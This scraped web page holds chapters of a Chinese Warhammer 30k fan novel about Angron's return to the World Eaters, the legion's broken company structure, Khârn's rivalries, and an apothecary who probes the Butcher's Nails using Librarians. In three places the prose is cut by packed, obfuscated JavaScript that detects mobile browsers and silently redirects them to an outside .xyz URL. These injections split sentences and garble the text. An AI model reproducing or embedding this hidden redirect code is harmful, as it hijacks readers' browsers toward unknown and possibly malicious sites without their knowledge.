;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210046|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想把左肩涂成纯色。“奥伦斯特还是说了出来,“像卡恩那样。” “只有叛徒才会羞于展示自己的军团印记!”玛戈恼怒地说道。 奥伦斯特不以为然,他满心满脑都是原体,以及原体最亲近的卡恩:“可是侍卫武官还有很多人都那样做了,还是卡恩最信任的八连战士。原体大人并没有反对,说明他也是支持的。我们为什么不也这样做呢?原体回归,我们就要改变,变成原体喜欢的样子。” 玛戈想说点什么,却察觉到走过来的两人。他微微转身向其打招呼,脸色冷淡:“好久不见,卡恩。” 来者正是卡恩和他冠军卡格斯。连长们都喜欢和冠军成双成对地行动。 卡恩仿佛没有察觉玛戈的冷淡,像好友叙旧般说道:“我还记得我们一起从泰拉征兵处走出的时光,好久不见,玛戈。”然后他看向奥伦斯特,微微一笑:“你有个不错的冠军。” 奥伦斯特自豪地挺起胸膛。 玛戈故意忽略卡恩的示好,冷冷地说道:“我还以为你忘记泰拉了。” 卡恩语气略微低沉了些,奥伦斯特相信他在说真心话:“在重锻号上的日子比想象中困难,很多时候我都在想,如果你在我身边就好了……玛戈。你严肃的性格可以让许多兄弟都乖乖听话,而你对战友的看重更是那些新兵该学习的典范。” “那为什么不是你站在我这边?你本来应该站在我这边!”玛戈突然激动道,“我不会苛责其他士兵,他们来自银河各地,也许习俗不同,而我会包容我的兄弟。可你我同样来自泰拉,一起接受相同的新兵训练,明明知道这种行为是什么意思!你为什么要以成为‘背叛者’的方式,向原体承诺成为他的私兵?我以前不知道你竟然是此等谄媚之人!” 卡恩无所谓地耸耸肩:“这只是一个涂装而已。向原体表达我的忠诚有错吗?” 玛戈怒上心头:“一个涂装?我看你脑子有泡!” 奥伦特斯眨了眨眼,觉得自己也被骂了。 玛戈无疑是最珍视荣誉之人。他始终将一件蓝绿交织的斗篷随身携带 —— 即便这颜色与战犬的盔甲并不相称,它却有着特殊的意义:这是基尔在凯旋大厅亲手赠予他的荣誉嘉奖,且据说曾是前前任军团长的随身之物。从这件斗篷中,玛戈能清晰感受到一种荣耀的传承,也深深明白自己肩负着守护这份传承的重任。 每当有人夸张地宣扬战犬的残暴,玛戈都格外心痛。他清楚兄弟们并非残忍之辈,反而重情重义,不少人把战友看得比自己还重。他们所谓的“残暴”,不过是人类尊主需要他们释放凶性;而基尔一直带领大家在杀戮中守住本心。 可随着新兵增多,基尔的约束力渐弱。玛戈悲哀地发现,曾经重荣誉的战犬正慢慢消失,取而代之的是在愤怒中迷失的“疯狗”。从前他没法向远在天际的兄弟连队诉说泰拉的荣誉,如今原体归来,他们该重新团结在泰拉的荣誉旗帜下了。 “就让这场闹剧止于你的连队吧,兄弟,难道你想让整个军团都变成那滑稽模样?”玛戈痛心疾首地说道,“我的连队绝不会与你同流合污。” 奥伦斯特艰难地点头。 卡恩没有深入这个话题,他后退一步,“很抱歉我们之间出了那么大分歧。”他看向奥伦特斯,又露出一个浅浅的笑容,“你让我印象深刻,冠军。” 卡恩带着卡格斯离开了,而奥伦斯特的眼睛也快要被卡恩的背影带走了。 玛戈气打不出一处来,狠狠拍了一下奥伦斯特的脑袋:“看什么看!没看过活连长?” 18.并未归来 数小时之前,安格隆已经后悔答应卡恩回来当军团之主了。 他应该在蛮荒世界当野人。 而不是在这里接受十二军团这个烂摊子。 尽管他只是听了连队代表的报告,但凭借原体的本领,他掌握十二军团就像呼吸一样简单。 所以他比任何阿斯塔特都清楚十二军团的营连建设到底有多稀烂。 在刚才的报告环节中,十二军团的一连至七连,均由基尔和连队代表共同向原体汇报。 因为二连到七连都没有连长! 这里需要说明的是,“连长”“百夫长”是一种战时的临时职务,可以在战场上临时任命,不是军衔。“上尉”“中士”这些才是刻在纹样里的军衔。一般而言,“中士”及以上可以任命为百夫长,“上尉”及以上就有资格任命为连长。但也有例外,当初卡恩就先成为八连长,再自己给自己手动升级。 十二军团的一连是精英连,许多从泰拉之战出来的老战犬都在这里,军衔普遍很高。在经历多场战争后,许多战犬都进了无畏或已经牺牲,总人数并不多,约有千人。但由于各个都是精英,所以一部分战犬都被借调在外,至今没有人齐,就剩下一连长基尔在撑场子。 安格隆有些庆幸他不必面对全部的一连战士。 毕竟面对一群百年老兵喊自己“父亲”,他的脊背总会爬满挥之不去的尴尬。 他现在喊基尔等人都是十分官方化的“一连长”或直呼军衔。相较之下傻里傻气的卡恩或卡格斯就让他好接受多了。 十二军团的二连比较特殊,是由药剂师特遣队和技术军士特遣组成的。很少汇聚成连,大多分在不同小队里做他们的本职工作,所以不必设置连长。 但里面也不乏高级军官。例如卡利博斯的军衔就是“执政官”,属于仅次于原体之下的高级指挥官。如果有一天十二军团需要一个由全体药剂师特遣队组成的战斗连队,那他就会当场转化为二连长,带领众战犬出击。 卡利博斯带了一个新药剂师一起向安格隆汇报。那名没见过面的药剂师一声不吭,双眼盯着安格隆头上的钢缆。 安格隆知道卡利博斯又在找药剂师试探自己的钉子。这群可悲的战士总是这样,枉顾他的意愿,偷偷在私底下做点小动作,还美名其曰为他好。实际上他们的试探在安格隆眼中已一目了然。安格隆现在没处理他们,不过是脑子里的钉子还没疯狂罢了。 连队报告按顺序进行,二连之后是三连。如果说二连是散是满天星的空壳,那么三连就是名副其实的悲剧,几乎全建制覆没。 三连原本是作为主力出击的突击连,但在被先后借调到死亡天使、钢铁勇士、极限战士、死亡守卫,最近还被荷鲁斯之子战术性派遣前锋后,原先的第一批战士已经百不存一,如今只剩下不到50人。 一个名为“索拉克斯”的小小下士作为连队代表前来汇报。他抱着前任连长的遗物头盔,双眼蓄满泪水,像是受了天大的委屈。他磕磕绊绊地讲完三连所获得的战争荣誉,并表达能回归军团是多么的好。三连再也不用出生入死,却只能为其他军团争取荣耀了。 基尔在旁边目露不忍,想从一连调一个高级军官过去做三连连长。 然而索拉克斯紧紧抱着已故连长的头盔,大喊:“我不要!连长死前把三连托付给我!我要当连长!我要重振三连荣光!我是三连连长!” 基尔连忙捂着他的嘴巴把他扛走了,避免在原体面前丢人现眼。 剩余的四连至七连都是差不多的情况,人数比三连多一些,可要是称为一个连队就太单薄了。他们普遍听从基尔的指挥,并用严格的纪律要求自己。军团诸多好名声与优良传统,皆是由他们奋力铸就。 而八连至十八连则在军团第一次扩军时建立的,不少军官来自泰拉。此时战犬虽然仍然分处不同远征舰队,但都是以“连队”的名义作战,所以连队内部建设稍微好些。 一个连长下面有数个百夫长,每个百夫长分别领导十支不同职能的战术小队,例如侦搜小队、突击小队、战术支援小队等。每个小队约有10人,另外配备有智库、药剂师、技术军士这些特殊兵种。这就是最基本的连队内部组织建设。有了这些基础,指挥官的命令方能自上而下彻底贯彻。 现在八连人数最多,整整一万人。卡恩是整个军团里最气派的连长了。其他连队的人数相较较少,大多听从其连长的。且因为不同连队的习俗、语言、经历都不同,他们在军团里形成一个个不容小觑的小势力。 但连长们都清楚这不是问题。只要原体归来,并用他那天然的领导力与洞察力指挥军团,十二军团就会众志成城地凝聚在一起,成为原体指哪打哪的忠犬。 可惜安格隆并没兴趣那样做。 这十一个已经成型的连队最好乖乖听他们连长的,而这十一位连长最好乖乖的别在他面前惹事,有大事就听卡恩或基尔的指挥。那安格隆也会愿意扮演一个与他们共同待在这艘战列舰上的“战斗合作对象”。 连长们私底下有什么摩擦,或者权力交易的勾当,他都可以当不知道。 这是“安格隆”的军团。 但是,这又不是安格隆的军团…… 至于十八连之后的连队,就是海军征兵处发癫的杰作了。他们到处散播安格隆的基因种子,看哪里的小伙子长得壮实就让他们测试战犬基因适配性,凑够一堆就绑成一个连队到处送。 有些连队已经全军覆没,编号被彻底弃用。 有些连队则神奇地在安格隆上船前一天才相聚,例如德尔瓦鲁斯的44连。他现在都没记清连队有多少人,更不会对军团中的“兄弟爱”文化感同身受。 有些连队,例如可怜的89连,至今还在银河边缘探索,甚至没收到原体回归的消息…… 这部分连队配几个百夫长就能上阵杀敌。他们前往的战场往往是烈度最大,最不需要计较代价的。这样的队伍哪需要纪律?对他们而言,屠戮一部分平民反而可以让战场更方便推进。他们的残忍嗜杀让“战犬”成为可止小儿夜啼的凶名。 这部分人连“战犬”的荣誉都不在乎。他们深知自己这种士兵在哪个军团都不受欢迎,但每个军团都需要他们。听说安格隆回归时,他们早已不奢求靠近传说中光辉的原体,并觉得今后的命运与之前无异。 可当亲眼看见安格隆时,他们才惊觉自己与他竟然有如此多的相似——原体总带着一副怒容,仿佛常年困在痛苦的炼狱里。他们能从原体细微的动作里,读懂那份不满与隐忍。因为曾经的自己也这样压抑过。原体是世界上最懂得“被迫愤怒之苦”之人,甚至比他们懂得更深。 多么讽刺啊!在众多光荣战犬中,偏偏是他们这群子嗣最能理解父亲! 即使父亲听他们汇报时,偶尔流露出傲慢、鄙夷或是嘲讽的神色,他们也甘之如饴,甚至暗暗盼望得到多些他的注视。 如果能有手段能将他们与父亲的心链接在一起,那无论是多么痛苦的惩罚,他们都会愿意尝试的。 什么战犬传统的兄弟情谊,什么前军团长前前军团长的教诲,通通滚一边去吧! 尤其是那个卡恩,看着就碍眼,他们迟早有一天把他揍得原体都不认得。 这群分散连队的阿斯塔特是如今军团纪律乱象的主要根源。卡恩和基尔都很头痛要如何处理他们。但他们又在安格隆面前格外乖巧,所以安格隆也没说什么。 理论上军团还应该有凡人辅助军组成的辅助连队,但看看战犬四分五裂的历史,就知道这部分人也很少很少了。 除此之外,军团本来还有几个泰坦军团,但目前还在外借状态。死亡天使那边说打完这仗就让在第一军团帮忙的泰坦军团回家。安格隆只能从图片上知道那些需要多人操作的高大机甲长什么样子。 总而言之,十二军团目前是家底少,人不齐,中层互有摩擦,领导(安格隆)还一心摆烂。 早知道当军团之主还得接受这样的麻烦,他就考虑考虑再和卡恩回来了…… 唯一值得庆幸的是安格隆不用出钱养这些人,不然他真的想跳楼。 因此听完了所有连队代表的汇报,安格隆一刻也不想停留地离开了凯旋大厅。至于还有机械教会的代表和智库代表没有见?那就让他们等着吧!他今天的耐心已经告罄了。 可看到洛塔拉后他又停下脚步。这位掌舵官,是他迄今为止见过对他态度最正常的人。话虽不多,可每次开口,彼此都觉得相处得很自在。 而她的本领,又是这群迂腐碎嘴的凡人里最出色的一位。安格隆的念头一动,在记忆里找到随手翻阅的舰队资料。 他重新命名了一条战列舰,宣布其为“角斗士”,然后迅速提拔洛塔拉为“角斗士”号的舰长。 除了洛塔拉本人,所有人都没反应过来这火箭般的任命速度,原体和新上任的舰长已经就团队搭建聊起来了。 洛塔拉在震惊之后坦言她需要她熟悉的伙伴们,安格隆让她随便挑。于是洛塔拉先带走了她的好友雷哈拉,然后挑选了经验丰富的伊瓦尔·托宾做她的大副。安格隆都答应了。 正当其他人刚刚反应过来,拼命搜索资料查询洛塔拉·萨林的姓氏出自哪个贵族时,洛塔拉和安格隆已经开启了下一轮谈话。 洛塔拉建议十二军团至少要有一个连队专门负责驻扎在坚毅决心号上,以应对未来可能的虚空对战。安格隆觉得很有道理,想起刚才德尔瓦鲁斯在角斗场上的表现,决定任命44连队为驻扎坚毅决心号的三线军。 44连的连长带着德尔瓦鲁斯过来地接受命令。他和其他连队兄弟都激动恨不得亲德尔瓦鲁斯一口——此前44连并不相互熟悉。 德尔瓦鲁斯目不转睛地盯着安格隆。他并不在乎那些人嘴里说的“兄弟”。丛林出生的他怎么会和这些说着不同语言的人是兄弟?可那些陌生的阿斯塔特一直围着他说话,德尔瓦鲁斯认为这是他心情最怪的一天。 此时,那些手忙脚乱的记叙者还在奔走询问洛塔拉的父亲是泰拉哪一支贵族之后,洛塔拉的兄弟们又是否在议会任职。他们一遍一遍地修正新闻标题,好同时达到信息丰富和内容炸裂的效果。 “新回归的原体大人没有出席泰拉的任何仪式,就直接来掌管军团了,也不知道泰拉那边怎么想的……你有看见尊敬的原体之面貌吗?我们该用什么词汇歌颂他呢?” “等着吧!等原体大人亲自指挥一次战争,我们就知道该用如何光荣优雅的词汇形容他了。十二军团的集结肯定是人类远征银河的又一重要助力。” “现在写不了原体大人的新闻,但那新上任的女舰长肯定有新闻可以深挖。‘角斗士’号是哪艘战列舰?我要是调去那里还能再调回坚毅决心号吗?” 记叙者们窃窃私语,迅速给洛塔拉起了“尖塔上的公主”这种外号,因为舰长王座正好在一个类似尖塔的建筑里。他们既想追踪洛塔拉的热点,又不想错过新回归原体的重大指示,正来回纠结。 卡恩绕过他们,将目光放在被人群包围的安格隆和洛塔拉身上。如果安格隆想,他当然可以直接提拔洛塔拉做坚毅决心号的舰长。但那对洛塔拉的职业生涯没有益处。 于大庭广 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247672|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众之下的快速提拔可以让洛塔拉在新舰上畅通无阻,而一个合适的位置才能让她在得到尊重之余学到更多东西。等没有人敢当面称呼她为“公主”时,她就可以重返坚毅决心号,坐在最尊贵的舰长王座上了。 而且把洛塔拉调去别的战列舰,还不用受这些嘴碎凡人的气。这些记叙者最后肯定没有一个人会申请调去“角斗士”号,他们都眼巴巴地等待着从这里挖到大新闻呢。 卡恩品味出些残忍的事实,如果安格隆看得上某个人,以原体的本事自然可以做到心细如发事无巨细。 他之所以对军团不管不顾…… ……单纯是不在乎而已。 卡格斯以粗俗的态度呵斥走那些凡人。记叙者们诚惶诚恐地远离了此地。卡恩走到安格隆身边,以沉默的姿态插入这两人的对话。 “您的部分舰队正在附近的星球对异形巢穴进行扫荡。我会带领角斗士号前往支援。”洛塔拉没有理会卡恩,全心全意地与安格隆对话。 卡恩看见她眼里有一种比敬畏更加真挚的感情。这种情感给了她支撑,让她顺畅流利地与原体得体地对话,而不至于像普通凡人那样卑躬屈膝。卡恩似乎理解安格隆为什么喜欢她了。 “你只需要放手去做,砍掉该砍的人就可以了。”安格隆的信任来得又快又实在。 “您要亲自指挥吗?”洛塔拉和卡恩有种共同的期待。 “不。”安格隆拒绝了,且不愿意做出任何解释。 洛塔拉和卡恩飞快地对视一眼,哪怕他们之前毫无交流,但双方都从对方脸上读到“要不你劝劝?”这种提议。然后他们默契地错开视线不语,谁都不打算成为这个出头鸟。 忽然,安格隆的好心情开始消退。他一言不发地往外走,某种阴影在他的面部蔓延,将他晕染成可怖的恶鬼。洛塔拉跟不上原体的脚步,他也不再理会,将她远远地抛在身后了。卡恩小跑跟上,犹豫再三还是鼓起勇气问:“您要去哪?” 闷雷般的声音回荡在走廊,仿佛是从很远的地方传来: “回我的笼子里……” …… 安格隆所说的“笼子”是位于凯旋大厅正下方的空大厅。它原本是凯旋大厅的备用场所,但安格隆上船前已经决定把它改造作他用。 空大厅被切断了所有光源,所有窗户封死并安装了三层厚的遮光板。墙壁上奶油色军旗连同装饰全部撤走,换成复合材质制成的吸音材料。它就像坚毅决心号的一个黑洞,吸走所有访客的声与光。 而安格隆却打算待在这里。 卡恩没有问“为什么”,因为安格隆的表情已经表示他不会回答。 卡恩想起当时他对安格隆说的气话,说坚毅决心号上的大厅关了灯就像山洞,安格隆可以待在那里。但他真没想到安格隆会同意这个计划。难道原体在母星也是生活在山洞里?还是……只有山洞这种环境才能抑制原体那机械造物带来的痛楚? “不要让任何你的兄弟来打扰我。”安格隆平静地说。通常他越平静越意味着他在说真话,“不然我就拧断他们的脖子。” “是。”卡恩低下头道。 他看着原体走进那漆黑的大厅里。随着大门缓缓闭合,他的心似乎也坠入虚空的黑洞之中,在无光无声的刑罚中饱受折磨。 原体在“牢笼”里饱受折磨,而他的军团却还在上层为原体归来欢欣鼓舞,一些人还在妄图将军团团结在泰拉的荣誉旗帜之下,可是泰拉的光辉有照耀在他的原体身上吗?原体没有得到他应有的荣耀。泰拉那边没有举办任何欢迎原体回归的仪式,任何盛大的新闻也没有写上安格隆的名字,帝皇幻梦号甚至连原体的母星也不肯透露,仿佛十二军团之主回归是个假消息。 原体并未真正归来,这道大门隔开了原体与军团的链接,他们的心因为不能品尝相同的痛苦而遥遥相望。 …… 另一边,卡利博斯带着一同觐见原体的药剂师回到研究室。研究室里的墙壁都是不同角度拍摄的“钉子”的外形照片。卡利博斯不清楚他们不敬的小动作是否被安格隆察觉,可是他们有什么办法呢?他们只是想缓解原体肉眼可见的疼痛罢了。 技术军士勉强将“钉子”外部轮廓建模出来,可它的实际作用仍需要进一步探索。 “听说你在第三军团时学了很多东西,加兰·苏拉克。”卡利博斯翻阅资料,上面是加兰的学习笔记。他给原体的钉子取了个名字——屠夫之钉。大家都觉得莫名贴切,并从此这样称呼了。 卡利博斯看完了加兰的笔记,心里已经做出某种决断,头也不抬地对身边的药剂师说道:“之后你去八连给卡恩帮忙吧。他那个万人大连连个像样的药剂师都没有。” “悉听尊便。”名为加兰·苏拉克的药剂师点头道。他有一张布满伤疤的脸,看上去更像个战士而非药剂师。 “把你的左肩涂装涂了再去。”卡利博斯提醒道。 加兰微微讶异地扬起眉毛。 “不愿意?”卡利博斯反问道。 “我以为来自泰拉的您会介意八连连长的行为……”加兰缓慢说道。 “只有那些老顽固才介意,我还年轻。要不是怕基尔伤心我也想把涂装涂了。”卡利博斯开了个玩笑,“你要是不愿意我就换个人,我可不想给卡恩找个麻烦。” “我很乐意为八连长服务。因为谁都知道,靠近八连长就等同于靠近原体。”加兰·苏拉克说话一直不急不缓,仿佛没有波澜的井水,只有掉进去才知道有多恐怖,“为了原体我愿意耗费所有的心血,用尽毕生所学,甚至付出我的生命。” 19.智库与药剂师 卡利博斯把加兰·苏拉克带到卡恩面前,顺便把卡格斯抓回去参加药剂师月考。 加兰朝卡恩微微鞠躬,以彰显自己的尊重。 卡恩匆匆翻过那些复杂的医疗分析,皱着眉头问:“所以你们看了半天,能做到的事情只是给那玩意命名为‘屠夫之钉’?” “如果不能靠近原体对他进行一次扫描,我们确实只能止步于此。”加兰说道,“所以我需要你的帮助……例如原体在重锻号上的监控日志。从那里我可以分析更多。” 卡恩脸上浮现一丝恼怒。但同时他也在心底反省自己,是不是自己对原体不够尊重,才让这些家伙有样学样。 “我听说你曾经在第三军团学习。”卡恩放下那些看不懂的文字资料,双眼紧盯加兰,“我很担心你是否还是‘战犬’的一员。” “我在那里仅仅学到技艺,而非那种追求完美的浮夸态度。我只是不像我的兄弟们那样爱犬塑自己。”加兰耸耸肩,肩铠上的医疗机械臂弹出一个电子资料接口,“但如果您需要,我可以把我称呼新兵为‘小幼犬’的录像给您看看呢。” 卡恩默默把加兰的机械臂推开,才说:“你看起来并不在乎我们战友之间的情谊。如果你连我们战犬的传统都不认同,我怎么敢放心让你接近原体?” 加兰微微困惑地皱起眉头:“我只需要在乎原体不就够了吗?” 卡恩刚想说点什么,就被加兰恍然大悟似的打断:“我知道了。原体一定做过伤害战犬的事情吧,而且他击倒的不是别人,正是我们深受爱戴的前军团长基尔。我查阅过重锻号的医疗日志,他们几个躺得真够久的。所以你必须找一个既不会伤害原体,又愿意保证战犬安危的人。” 突然被揭开了重锻号上的隐秘往事,卡恩一时半会儿说不出话来,下意识握紧身边的斧柄。 “不要担心,我已经把重锻号的医疗日志全部销毁了,顺便把做这件事的奴工也完美回收了,连卡利博斯都不知道这件事。”加兰冲他虚伪地笑。他的一只机械臂伸出一个仿生手,温柔地抚摸他自己的臂铠,上面纯蓝一片,“我们是一伙的,侍从武官。” 卡恩:“我开始相信你技艺高超了,不然我没有理由容忍你的冒犯。” “我当然学到了很多东西。例如我学会了观察。”加兰·苏拉克的众多机械臂像蜘蛛一样伸展,每一根都至少配备6个以上不同功能的医疗探头。“我的很多研究对象都不肯告诉我它们身上的奥秘。因此我只能用眼睛看,看它们裸.露的肌肉因哪种疼痛而跳动,看它们的视觉神经因哪种医疗工具而反应激烈,看出它们最脆弱的与最强硬的,然后像个智者般推理生命的奥妙……” 卡恩:“可你现在展现给我的成果只有一串单词。” “原体所在的大厅,用了很多遮光和吸音材料。遮光材料很好理解,但为什么有超出规格数倍的吸音材料?”加兰忽然反问道,“是因为原体会在里面发出哀嚎吗?” 下一秒他被一个巨力按在墙上,身后的机械臂因为负担过重而发出“咯吱”的噪音。卡恩将他连同动力甲一同举起,脸色铁青。 加兰用力呼吸,伸长脖子,用嘶哑的声音回敬卡恩:“——我们、不能对痛苦——视而不见!” 他难道轻视了原体的痛苦吗?卡恩又一次堕入自我反省中。他对安格隆实在有太多心虚与愧疚,又不能从安格隆那里得到相应的惩罚,只能在每次其他人提起时都进行自虐式的反思。 他微微松开手,让加兰顺着墙壁滑落。 “咳咳,距离原体最近一次失控……是在觐见典礼之后。他当时还在和你说话,为什么会突然不适?”加兰抬眼看向卡恩,一个机械臂投影出他违规调用的视频,“我翻看了最近的区域的监控,发现原体的不适早有预兆。他在接见完所有连队代表后,同样变得更加烦躁。而对比这两次经历,我在他身边发现了同一个人……我们的首席智库。” “屠夫之钉排斥灵能者的靠近。”他露出些怜悯的目光,“可怜的首席,他只是想与原体交谈,却不知道他的举动将原体推向深渊……” “怎么还有灵能的事……”卡恩烦躁地说。他很少和智库打交道,那都是一堆阴险狡诈之辈。 “能伤害原体的绝不是一个简单机械造物。”加兰答道,旁边的机械臂展开一张羊皮纸,上面写满了他准备联系的技术军士和机械贤者名单。他确实经验丰富,早就想好了如何研究屠夫之钉。 卡恩啃食着带来刺痛感的愧疚。他早该知道的,安格隆的破坏力已经达到半神级别。那能伤害安格隆的刑具,自然也该是能追溯黄金时代的恐怖存在。 “好吧,我从你这里得到的消息比这几张废纸都要多。”卡恩后退几步,给加兰留出呼吸的空间,他摇摇头,“但我不会轻易给你更多权限,你让我不安,药剂师。” 加兰仍想劝说,可卡恩不给他这个机会。 “如果你想知道原体更多消息,就自己去问。”卡恩的声音带着不信任的残忍,“好心告诉你,父亲正因为屠夫之钉而满怀愤怒,非一场杀戮不能平息。等你拼尽全力活着回来时,我才会听你下一步计划。” 加兰明显一怔。卡恩在用纳加卡利语说话,而加兰不确定自己的翻译是否正确。 “你的意思是说……”加兰的笑容越来越大,脸上的疤痕被挤到一起,“你发现了……杀戮……有可能……让原体缓解他的痛苦?” 卡恩的脸色瞬间变得难看无比。 …… 加兰·苏拉克以异常谦逊的态度拜访了首席智库瓦瑞斯。 智库是阿斯塔特中的灵能者,能在战场上用那些神秘力量以一敌千。但由于帝国如今对灵能者越发警惕,管辖越来越严格,智库的存在也逐渐尴尬。 十二军团刚刚集结,对智库态度不冷不热,还将智库代表们安排在典礼的最后觐见父亲。首席智库瓦瑞斯希望为他的智库兄弟们争取多些权利,至少别被军团排挤,故两度寻找原体,却恰好都被安格隆无视。 如果说战犬们是帝国海军指挥部眼中的边缘战团,那么智库因其特殊能力,已经沦为战犬的边缘角色。 身为边缘中的边缘,他们却没有任何怨怼,反而对诸多兄弟们有更多柔软的宽容。如果战友们不相信他们的灵能,他们也甘愿默默待在战场后方,将荣誉让给兄弟们,直至危机时刻才出手。 明明他们智库也想像其他阿斯塔特一样为军团献出力量…… 在这半年里,瓦瑞斯一直致力于将他的智库兄弟们推销出去,或者游说一些对智库态度中立的军官,好提升智库的战斗待遇。因为连长们总拒绝与他交流,他不得不采取写信的方式,一封一封地呈递到对方桌面。 最近他总算把语汇官伊奥卡推荐给了十八连连长玛戈,推荐信是这样写的:“这是我的得意门生(每个智库他都这样说),能当爆破手用。”谢天谢地玛戈愿意拆开他的信,并接纳了伊奥卡。 而随着原体回归坚毅决心号,瓦瑞斯便盯上了原体身边最显赫之人。他决定给卡恩的小队塞一个适合的智库——当高级军官们都接纳智库,整个军团也会随之重视智库。那么是年轻但灵能优秀的典籍官特提斯好呢,还是心地更为柔软坚毅的立嘱官艾斯卡更适合八连呢。 正当他埋头写信时,他又发现了卡恩和基尔之间有观念上的矛盾。由于智库存在感比较弱,他俩谁都没来拉拢他,这让瓦瑞斯有点受伤。 但瓦瑞斯很快调理好了——基尔偏爱近战,一时半会儿忘记了智库很正常,一连长和智库沃里亚斯私交还是不错的;卡恩初出茅庐,不知道智库有多重要也正常。等他向兄弟们证明智库不畏征战的心,一切都会好起来的。 如果要瓦瑞斯选的话,他会更支持基尔一些。涂抹军团印记的行为很愚蠢。 瓦瑞斯心中自有把天平,所以当一位涂了左臂铠的陌生药剂师前来拜访时,他十分困惑,但依旧有礼貌地回应。 “我需要你的帮助。也许你已经听说了原体头上的机械造物,我们刚刚研究出一些结果……”加兰以诡异的亲切态度说道,“我们要一起帮助原体……但这可能有性命危险,你愿意吗?” 瓦瑞斯自然义不容辞。他根据加兰的指使,召集不同等级的智库,即军衔为语汇官、立嘱官、典籍官各3人,编成一支小队,一同前往安格隆所在的空大厅。 一路上,加兰十分热心地给每个智库的肩膀上植入一个微型摄像头,说这对他的研究有很多用处。瓦瑞斯认为带着摄像头前去见原体不妥,但加兰说那是医疗用途,为了精准观测到那个机械造物能带来的威力。瓦瑞斯半信半疑,他从加兰身上感受到了虚伪的情绪浪潮,但他沉默不语。 “你们每个人都愿意为父亲的痊愈付出生命吗?”加兰轻声询问。确保摄像头录到每个智库都点头的影像,他可不想回去就被卡恩砍成两半。 卡恩还是太年轻,他以为不给加兰派人手,从第三军团学习归来的加兰·苏拉克就想不到办法吗? 智库小队皆神色凝重地点头,实际上带有情绪的灵能波纹在他们大脑之间回荡。首席智库瓦瑞斯默默掩去他们的灵能波动。 最后加兰站在了瓦瑞斯后侧,“你一定要在我身边保护我。”他开了一个让瓦瑞斯不明所以的玩笑,“因为我还要活着去见卡恩。” 瓦瑞斯瞥了一眼边走边写报告的加兰,用灵能提醒其他智库小心加兰的伪善语言,并且在觐见原体时记得展现战犬优良的军容军貌。 +首席大人。+一位语汇官的嘴巴紧闭着,灵能话语却飘荡在同袍心中。+这位药剂师并不熟悉战犬智库的本领,对吗?+ +显然如此。+瓦瑞斯用灵能回答。+为了把你们推销出去,我不得不把你们包装成会用风用电用冰爆破敌人的远程战士。久而久之,我们的兄弟也忘记了我们曾经的本领。这不怪他们,遗忘是每个人的本能,记录是智库的责任。+ +我们跟着药剂师真的可以帮到原体吗?我听说……侍从武官和一连长关系不好。这是不是某种政斗?+ +与原体有关的事情,无论是否浑水都要亲自走一趟。+ 他们行至原体所在的空大厅廊前,赫然看见走廊一带宛若被风暴啃噬过,不少钢铁结构已只剩残骸。大厅的大门敞开,宛若一个突兀的黑洞,里面没有丝毫光芒,不断涌出血腥气混杂的冷风,丝丝缕缕钻进皮肤下,搅得人心头发紧。瓦瑞斯想提问,回头一看却发现加兰早就跑远了。 瓦瑞斯按捺住他的不安,他清楚他透露出去的每一丝负面情绪都会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247673|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被智库同袍们感知到,所以他更应该谨慎。 “原体大人……”空大厅的异样比逃跑的加兰更加重要,于是瓦瑞斯往前一步,试图听见里面是否有那个令他们朝思暮想的心跳声。他又重复一次:“原体大人,您的子嗣首席智库瓦瑞斯前来觐见。” “……原体大人?”瓦瑞斯看着狼藉的大厅门廊,对卡恩生出一丝埋怨。 然而下一秒,沉重的脚步声从他们身后的遥远长廊响起,并逐渐逼近。 瓦瑞斯在灵能层面感觉到一个可怕的血腥风暴正在袭来。他忍不住展开自己的灵能,将智库兄弟们的心智包裹在一起,给他们的动力甲附上一层冰霜。保护同袍,保护后辈已经刻入他的本能。 他挥挥手,灵能之触轻易地链接上药剂师,在其心灵诘问道:+加兰·苏拉克,这就是你想看见的吗?+ 加兰厌恶地皱紧眉头,他不喜欢被巫师入侵心灵的感觉,但这时候只能这样聊天了:“告诉我你看见了什么?” +你在利用我们,罔顾战犬中最纯洁的战友情谊。我以军团中有你这种败类为耻。+ “少废话,这都是为了原体,告诉我你感知的一切,我自有判断。” 恐怖的混沌风暴让智库们的灵能链接如浪潮中的小舟一样飘摇起来。但他们也感知到了熟悉的血缘呼唤。 瓦瑞斯及众多智库心中立刻涌现出爱意。他们的情感如此浓烈,哪怕没有进行“圣礼”,灵魂也徜徉在同一个爱之流域。 “别像个呆子一样看着。”加兰的声音从通讯器中传出,“连基尔也会被暴怒的原体击倒,做点什么,智库。或者如同我计划的一样,从低到高不同等级,一个个去测试那可怕机械造物对灵能的忍耐度。” 